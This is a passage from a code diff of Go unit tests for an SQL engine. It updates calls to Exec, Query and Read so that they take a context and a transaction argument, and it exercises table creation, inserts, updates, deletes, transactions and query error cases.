"db1") require.NoError(t, err) - _, _, err = engine.Exec(`CREATE TABLE table1 ( + _, _, err = engine.Exec( + context.Background(), nil, + `CREATE TABLE table1 ( id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id - )`, nil, nil) + )`, nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE UNIQUE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(title)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) - params, err := engine.InferParameters("DELETE FROM table1 WHERE active = @active", nil) + params, err := engine.InferParameters(context.Background(), nil, "DELETE FROM table1 WHERE active = @active") require.NoError(t, err) require.NotNil(t, params) require.Len(t, params, 1) require.Equal(t, params["active"], BooleanType) - _, _, err = engine.Exec("DELETE FROM table2", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM table2", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec("DELETE FROM table1 WHERE name = 'name1'", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE name = 'name1'", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) t.Run("delete on empty table should complete without issues", func(t *testing.T) { - _, ctxs, err := engine.Exec("DELETE FROM table1", nil, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "DELETE FROM table1", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) @@ -1021,28 +1033,30 @@ func TestDelete(t *testing.T) { rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(fmt.Sprintf(` - INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil, nil) + _, _, err = engine.Exec( + context.Background(), nil, + fmt.Sprintf(` + INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil) require.NoError(t, err) } t.Run("deleting with contradiction should not produce any change", func(t *testing.T) { - _, ctxs, err := engine.Exec("DELETE FROM table1 WHERE false", nil, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE false", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) }) t.Run("deleting active rows should remove half of the rows", func(t *testing.T) { - _, ctxs, err := engine.Exec("DELETE FROM table1 WHERE active = @active", map[string]interface{}{"active": true}, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE active = @active", map[string]interface{}{"active": true}) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, rowCount/2, ctxs[0].UpdatedRows()) - r, err := engine.Query("SELECT COUNT(*) FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) @@ -1052,10 +1066,10 @@ func TestDelete(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT COUNT(*) FROM table1 WHERE active", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 WHERE active", nil) require.NoError(t, err) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) @@ -1067,16 +1081,18 @@ func TestDelete(t *testing.T) { func TestErrorDuringDelete(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(` + _, _, err := engine.Exec( + context.Background(), nil, + ` create table mytable(name varchar[30], primary key name); insert into mytable(name) values('name1'); - `, nil, nil) + `, nil) require.NoError(t, err) - _, _, err = engine.Exec("delete FROM mytable where name=name1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "delete FROM mytable where name=name1", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("delete FROM mytable where name='name1'", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "delete FROM mytable where name='name1'", nil) require.NoError(t, err) } @@ -1088,43 +1104,45 @@ func TestUpdate(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPDATE table1 SET title = 'title11' WHERE title = 'title'", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET title = 'title11' WHERE title = 'title'", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec(`CREATE TABLE table1 ( + _, _, err = engine.Exec( + context.Background(), nil, + `CREATE TABLE table1 ( id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id - )`, nil, nil) + )`, nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE UNIQUE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(title)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) - params, err := engine.InferParameters("UPDATE table1 SET active = @active", nil) + params, err := engine.InferParameters(context.Background(), nil, "UPDATE table1 SET active = @active") require.NoError(t, err) require.NotNil(t, params) require.Len(t, params, 1) require.Equal(t, params["active"], BooleanType) - _, _, err = engine.Exec("UPDATE table2 SET active = false", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table2 SET active = false", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec("UPDATE table1 SET name = 'name1'", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET name = 'name1'", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) t.Run("update on empty table should complete without issues", func(t *testing.T) { - _, ctxs, err := engine.Exec("UPDATE table1 SET active = false", nil, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "UPDATE table1 SET active = false", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) @@ -1133,38 +1151,40 @@ func TestUpdate(t *testing.T) { rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(fmt.Sprintf(` - INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil, nil) + _, _, err = engine.Exec( + context.Background(), nil, + fmt.Sprintf(` + INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil) require.NoError(t, err) } t.Run("updating with contradiction should not produce any change", func(t *testing.T) { - _, ctxs, err := engine.Exec("UPDATE table1 SET active = false WHERE false", nil, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "UPDATE table1 SET active = false WHERE false", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) }) t.Run("updating specific row should update only one row", func(t *testing.T) { - _, ctxs, err := engine.Exec("UPDATE table1 SET active = true WHERE title = @title", map[string]interface{}{"title": "title1"}, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "UPDATE table1 SET active = true WHERE title = @title", map[string]interface{}{"title": "title1"}) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, 1, ctxs[0].UpdatedRows()) - r, err := engine.Query("SELECT COUNT(*) FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT COUNT(*) FROM table1 WHERE active", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 WHERE active", nil) require.NoError(t, err) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) @@ -1176,47 +1196,48 @@ func TestUpdate(t *testing.T) { func TestTransactions(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(`CREATE TABLE table1 ( + _, _, err := engine.Exec( + context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR, PRIMARY KEY id - )`, nil, nil) + )`, nil) require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` COMMIT; - `, nil, nil) + `, nil) require.ErrorIs(t, err, ErrNoOngoingTx) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE INDEX ON table2(title); COMMIT; - `, nil, nil) + `, nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; UPSERT INTO table1 (id, title) VALUES (1, 'title1'); UPSERT INTO table1 (id, title) VALUES (2, 'title2'); COMMIT; - `, nil, nil) + `, nil) require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE TABLE table2 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id); CREATE INDEX ON table2(title); COMMIT; - `, nil, nil) + `, nil) require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` BEGIN; CREATE INDEX ON table2(age); INSERT INTO table2 (id, title, age) VALUES (1, 'title1', 40); COMMIT; - `, nil, nil) + `, nil) require.NoError(t, err) } @@ -1229,7 +1250,8 @@ func TestTransactionsEdgeCases(t *testing.T) { require.NoError(t, err) t.Run("nested tx are not supported", func(t *testing.T) { - _, _, err = engine.Exec(` + _, _, err = engine.Exec( + context.Background(), nil, ` BEGIN TRANSACTION; BEGIN TRANSACTION; CREATE TABLE table1 ( @@ -1239,37 +1261,37 @@ func TestTransactionsEdgeCases(t *testing.T) { ); COMMIT; COMMIT; - `, nil, nil) + `, nil) require.ErrorIs(t, err, ErrNestedTxNotSupported) }) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER, title VARCHAR, PRIMARY KEY id - )`, nil, nil) + )`, nil) require.NoError(t, err) t.Run("rollback without explicit transaction should return error", func(t *testing.T) { - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` UPSERT INTO table1 (id, title) VALUES (1, 'title1'); ROLLBACK; - `, nil, nil) + `, nil) require.ErrorIs(t, err, ErrNoOngoingTx) }) t.Run("auto-commit should automatically commit ongoing tx", func(t *testing.T) { - ntx, ctxs, err := engine.Exec(` + ntx, ctxs, err := engine.Exec(context.Background(), nil, ` UPSERT INTO table1 (id, title) VALUES (1, 'title1'); UPSERT INTO table1 (id, title) VALUES (2, 'title2'); - `, nil, nil) + `, nil) require.NoError(t, err) require.Len(t, ctxs, 2) require.Nil(t, ntx) @@ -1278,12 +1300,12 @@ func TestTransactionsEdgeCases(t *testing.T) { t.Run("explicit tx initialization should automatically commit ongoing tx", func(t *testing.T) { engine.autocommit = false - ntx, ctxs, err := engine.Exec(` + ntx, ctxs, err := engine.Exec(context.Background(), nil, ` UPSERT INTO table1 (id, title) VALUES (3, 'title3'); BEGIN TRANSACTION; UPSERT INTO table1 (id, title) VALUES (4, 'title4'); COMMIT; - `, nil, nil) + `, nil) require.NoError(t, err) require.Len(t, ctxs, 2) require.Nil(t, ntx) @@ -1293,18 +1315,18 @@ func TestTransactionsEdgeCases(t *testing.T) { func TestUseSnapshot(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE SNAPSHOT SINCE TX 1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE SNAPSHOT SINCE TX 1", nil) require.Equal(t, ErrNoSupported, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; UPSERT INTO table1 (id, title) VALUES (1, 'title1'); UPSERT INTO table1 (id, title) VALUES (2, 'title2'); COMMIT; - `, nil, nil) + `, nil) require.NoError(t, err) } @@ -1468,40 +1490,40 @@ func TestQuery(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, err = engine.Query("SELECT id FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, err = engine.Query("SELECT id FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) require.Equal(t, ErrNoDatabaseSelected, err) - _, err = engine.Query("SELECT * FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.Equal(t, ErrNoDatabaseSelected, err) - _, _, err = engine.Exec("SELECT id FROM table1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "SELECT id FROM table1", nil) require.Equal(t, ErrNoDatabaseSelected, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, err = engine.Query("SELECT id FROM table1", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec(`CREATE TABLE table1 ( + _, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, ts TIMESTAMP, title VARCHAR, active BOOLEAN, payload BLOB, - PRIMARY KEY id)`, nil, nil) + PRIMARY KEY id)`, nil) require.NoError(t, err) params := make(map[string]interface{}) params["id"] = 0 - r, err := engine.Query("SELECT id FROM table1 WHERE id >= @id", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE id >= @id", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -1511,16 +1533,16 @@ func TestQuery(t *testing.T) { require.Equal(t, "table1", orderBy[0].Table) require.Equal(t, "db1", orderBy[0].Database) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT * FROM table1", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() @@ -1532,30 +1554,32 @@ func TestQuery(t *testing.T) { for i := 0; i < rowCount; i++ { encPayload := hex.EncodeToString([]byte(fmt.Sprintf("blob%d", i))) - _, _, err = engine.Exec(fmt.Sprintf(` + _, _, err = engine.Exec( + context.Background(), nil, + fmt.Sprintf(` UPSERT INTO table1 (id, ts, title, active, payload) VALUES (%d, NOW(), 'title%d', %v, x'%s') - `, i, i, i%2 == 0, encPayload), nil, nil) + `, i, i, i%2 == 0, encPayload), nil) require.NoError(t, err) } t.Run("should resolve every row", func(t *testing.T) { - r, err = engine.Query("SELECT * FROM table1", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) - colsBySel, err := r.colsBySelector() + colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) require.Equal(t, "db1", r.Database()) require.Equal(t, "table1", r.TableAlias()) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) @@ -1568,7 +1592,7 @@ func TestQuery(t *testing.T) { require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() @@ -1576,10 +1600,10 @@ func TestQuery(t *testing.T) { }) t.Run("should fail reading due to non-existent column", func(t *testing.T) { - r, err := engine.Query("SELECT id1 FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id1 FROM table1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) require.Nil(t, row) @@ -1588,24 +1612,26 @@ func TestQuery(t *testing.T) { }) t.Run("should resolve every row with two-time table aliasing", func(t *testing.T) { - r, err = engine.Query(fmt.Sprintf(` + r, err = engine.Query( + context.Background(), nil, + fmt.Sprintf(` SELECT * FROM table1 AS mytable1 WHERE mytable1.id >= 0 LIMIT %d - `, rowCount), nil, nil) + `, rowCount), nil) require.NoError(t, err) - colsBySel, err := r.colsBySelector() + colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) require.Equal(t, "db1", r.Database()) require.Equal(t, "mytable1", r.TableAlias()) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) @@ -1618,7 +1644,7 @@ func TestQuery(t *testing.T) { require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() @@ -1626,24 +1652,26 @@ func TestQuery(t *testing.T) { }) t.Run("should resolve every row with column and two-time table aliasing", func(t *testing.T) { - r, err = engine.Query(fmt.Sprintf(` + r, err = engine.Query( + context.Background(), nil, + fmt.Sprintf(` SELECT mytable1.id AS D, ts, Title, payload, Active FROM table1 mytable1 WHERE mytable1.id >= 0 LIMIT %d - `, rowCount), nil, nil) + `, rowCount), nil) require.NoError(t, err) - colsBySel, err := r.colsBySelector() + colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) require.Equal(t, "db1", r.Database()) require.Equal(t, "mytable1", r.TableAlias()) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) @@ -1656,22 +1684,22 @@ func TestQuery(t *testing.T) { require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) }) - r, err = engine.Query("SELECT id, title, active, payload FROM table1 ORDER BY title", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active, payload FROM table1 ORDER BY title", nil) require.Equal(t, ErrLimitedOrderBy, err) require.Nil(t, r) - r, err = engine.Query("SELECT Id, Title, Active, payload FROM Table1 ORDER BY Id DESC", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT Id, Title, Active, payload FROM Table1 ORDER BY Id DESC", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) @@ -1687,10 +1715,10 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id FROM table1 WHERE id", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE id", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrInvalidCondition) err = r.Close() @@ -1699,15 +1727,15 @@ func TestQuery(t *testing.T) { params = make(map[string]interface{}) params["some_param1"] = true - r, err = engine.Query("SELECT id FROM table1 WHERE active = @some_param1", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @some_param1", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrMissingParameter) r.SetParameters(params) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) @@ -1719,14 +1747,16 @@ func TestQuery(t *testing.T) { encPayloadPrefix := hex.EncodeToString([]byte("blob")) - r, err = engine.Query(fmt.Sprintf(` + r, err = engine.Query( + context.Background(), nil, + fmt.Sprintf(` SELECT id, title, active FROM table1 - WHERE active = @some_param AND title > 'title' AND payload >= x'%s' AND title LIKE 't'`, encPayloadPrefix), params, nil) + WHERE active = @some_param AND title > 'title' AND payload >= x'%s' AND title LIKE 't'`, encPayloadPrefix), params) require.NoError(t, err) for i := 0; i < rowCount/2; i += 2 { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) @@ -1739,71 +1769,71 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT * FROM table1 WHERE id = 0", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE id = 0", nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 5) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE id / 0", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id / 0", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrDivisionByZero) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE id + 1/1 > 1 * (1 - 0)", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id + 1/1 > 1 * (1 - 0)", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("INVALID QUERY", nil, nil) + r, err = engine.Query(context.Background(), nil, "INVALID QUERY", nil) require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") require.Nil(t, r) - r, err = engine.Query("UPSERT INTO table1 (id) VALUES(1)", nil, nil) + r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1)", nil) require.ErrorIs(t, err, ErrExpectingDQLStmt) require.Nil(t, r) - r, err = engine.Query("UPSERT INTO table1 (id) VALUES(1); UPSERT INTO table1 (id) VALUES(1)", nil, nil) + r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1); UPSERT INTO table1 (id) VALUES(1)", nil) require.ErrorIs(t, err, ErrExpectingDQLStmt) require.Nil(t, r) - r, err = engine.QueryPreparedStmt(nil, nil, nil) + r, err = engine.QueryPreparedStmt(context.Background(), nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, r) params = make(map[string]interface{}) params["null_param"] = nil - r, err = engine.Query("SELECT id FROM table1 WHERE active = @null_param", params, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @null_param", params) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -1821,20 +1851,22 @@ func TestQueryCornerCases(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec( + context.Background(), nil, + ` CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) - )`, nil, nil) + )`, nil) require.NoError(t, err) - res, err := engine.Query("SELECT * FROM table1", nil, nil) + res, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) err = res.Close() @@ -1846,11 +1878,11 @@ func TestQueryCornerCases(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - res, err = engine.Query("SELECT * FROM table1", nil, nil) + res, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.ErrorIs(t, err, tbtree.ErrorToManyActiveSnapshots) require.Nil(t, res) - res, err = engine.Query("SELECT * FROM table1", nil, tx) + res, err = engine.Query(context.Background(), tx, "SELECT * FROM table1", nil) require.NoError(t, err) err = res.Close() @@ -1861,10 +1893,10 @@ func TestQueryCornerCases(t *testing.T) { }) t.Run("invalid query parameters", func(t *testing.T) { - _, err := engine.Query("SELECT * FROM table1", map[string]interface{}{ + _, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", map[string]interface{}{ "param": "value", "Param": "value", - }, nil) + }) require.ErrorIs(t, err, ErrDuplicatedParameters) }) } @@ -1878,49 +1910,50 @@ func TestQueryDistinct(t *testing.T) { engine, err := NewEngine(st, opts) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec(`CREATE TABLE table1 ( + _, _, err = engine.Exec( + context.Background(), nil, `CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, title VARCHAR, amount INTEGER, active BOOLEAN, - PRIMARY KEY id)`, nil, nil) + PRIMARY KEY id)`, nil) require.NoError(t, err) - _, _, err = engine.Exec(`INSERT INTO table1 (title, amount, active) VALUES + _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table1 (title, amount, active) VALUES ('title1', 100, NULL), ('title2', 200, false), ('title3', 200, true), - ('title4', 300, NULL)`, nil, nil) + ('title4', 300, NULL)`, nil) require.NoError(t, err) t.Run("should return all titles", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query("SELECT DISTINCT title FROM table1 WHERE id <= @id", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id", nil) require.NoError(t, err) r.SetParameters(params) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(db1.table1.title)", cols[0].Selector()) for i := 1; i <= 3; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -1931,24 +1964,24 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query("SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2", nil) require.NoError(t, err) r.SetParameters(params) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(db1.table1.title)", cols[0].Selector()) for i := 1; i <= 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -1959,24 +1992,24 